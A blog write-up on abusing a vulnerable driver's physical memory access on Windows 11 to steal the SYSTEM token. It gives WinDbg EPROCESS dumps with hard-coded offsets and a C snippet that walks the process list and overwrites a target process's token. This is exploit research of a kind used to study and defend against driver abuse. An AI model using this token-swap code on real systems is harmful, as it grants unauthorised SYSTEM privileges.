#
Token Stealing via Physical Memory
#
Outline
I saw this really cool blog post a while ago about abusing a physical memory read / write by converting the address to a virtual one and thought it would be cool to "borrow" and improve on a bit. I highly recommend you read the original blog post: https://xacone.github.io/eneio-driver.html before reading my ramblings. Instead of rehashing everything covered in the original blog I'm going to talk about how I approached weaponising the driver and slightly touch on how token stealing works.
#
High Level Recap
(In case you didn't read the blog post ...)
On windows 11 there is a function called nt!HalpLMStub
which is 0x30
bytes before the cr3
value and is always at a physical address between 0x10000
and 0x20000
. When we get the cr3 value we can easily convert virtual address to physical. (Also recommend reading https://connormcgarr.github.io/paging/ If you don't have a solid understanding of windows paging.) From here they went on to leak out the KTHREAD and the values from the kernel's big pool. Here's where i decided to take a different path.
#
Token Stealing
While stealing the system token was my logical next thought I decided to leak out the system EProcess token using NtQuerySystemInformation
and walking the ActiveProcessLinks
to find the token of the current process. To do this we need 3 things from a EProcess's structure, its PID, ActiveProcessLinks. First we can dump out the system token and a normal process's token in windbg and see the differences.
0: kd> !process 0 0
**** NT ACTIVE PROCESS DUMP ****
PROCESS ffff980ca768c040
SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000
DirBase: 001ae000 ObjectTable: ffffa9036b26aec0 HandleCount: 2675.
Image: System
...
PROCESS ffff980cb2477080
SessionId: none Cid: 1904 Peb: e114fc6000 ParentCid: 12cc
DirBase: 49e1e000 ObjectTable: ffffa9037048c800 HandleCount: 1179.
Image: Notepad.exe
# Dumping each process's token:
# systems
0: kd> dt _EPROCESS ffff980ca768c040 Token
nt!_EPROCESS
+0x248 Token : _EX_FAST_REF
0: kd> dx -id 0,0,ffff980ca768c040 -r1 (*((ntkrnlmp!_EX_FAST_REF *)0xffff980ca768c288))
(*((ntkrnlmp!_EX_FAST_REF *)0xffff980ca768c288)) [Type: _EX_FAST_REF]
[+0x000] Object : 0xffffa9036b20d04f [Type: void *]
[+0x000 ( 3: 0)] RefCnt : 0xf [Type: unsigned __int64]
[+0x000] Value : 0xffffa9036b20d04f [Type: unsigned __int64]
# notepad
0: kd> dt _EPROCESS ffff980cb2477080 Token
nt!_EPROCESS
+0x248 Token : _EX_FAST_REF
0: kd> dx -id 0,0,ffff980ca768c040 -r1 (*((ntkrnlmp!_EX_FAST_REF *)0xffff980cb24772c8))
(*((ntkrnlmp!_EX_FAST_REF *)0xffff980cb24772c8)) [Type: _EX_FAST_REF]
[+0x000] Object : 0xffffa9037abbd0aa [Type: void *]
[+0x000 ( 3: 0)] RefCnt : 0xa [Type: unsigned __int64]
[+0x000] Value : 0xffffa9037abbd0aa [Type: unsigned __int64]
As we can see the token structure has the bottom 3 bits set as a reference counter, so to use the value we will have to mask them off. Implementing this we can walk forward one EPROCESS then check the PID.
Finding the offsets.
0: kd> dt _EProcess Token UniqueProcessId ActiveProcessLinks
nt!_EPROCESS
+0x1d0 UniqueProcessId : Ptr64 Void
+0x1d8 ActiveProcessLinks : _LIST_ENTRY
+0x248 Token : _EX_FAST_REF
Hard coding the offsets.
while (TRUE) {
QWORD Pid_location = current_eproc + (QWORD)0x1d0;
offset = VirtualToPhysical(cr3, Pid_location, data);
//printf("Physcial address for pid off : %llx\n", offset);
current_pid = 0;
for (size_t i = 0; i < sizeof(DWORD); ++i) {
current_pid |= (DWORD)(data[offset + i]) << (i * 8);
}
//printf("Current PID: %llx\n", current_pid);
if (current_pid == program_pid) {
offset = VirtualToPhysical(cr3, current_eproc + 0x248, data);
// write system token to this location
printf("[+] Found Process token at: %llx\n", offset);
printf("\t[i] Swapping with system token...\n");
for (int i = 0; i < sizeof(QWORD); ++i) {
data[offset + i] = (BYTE)((sys_token >> (i * 8)) & 0xFF);
}
break;
}
}
I thought I would also check if the host is windows 11 24H2 or greater and check if we are running in high integrity before calling the driver and trying to get a KASLR leak.
Full code can be found here: https://github.com/ElJayRight/Driver_Exploits/blob/main/eneio64/main.c
#
Closing thoughts
So yeah super quick writeup, I didnt really want to rehash someone else's writeup and thought it would be cool to poc a physical memory abuse driver. I'm planning on using this driver in a bigger project soonish.
I thought about adding a ring buffer so I didnt have to map all the memory in one go, however I was too lazy to want to reimplement the virtualtophysical function so decided against it. Maybe in the future.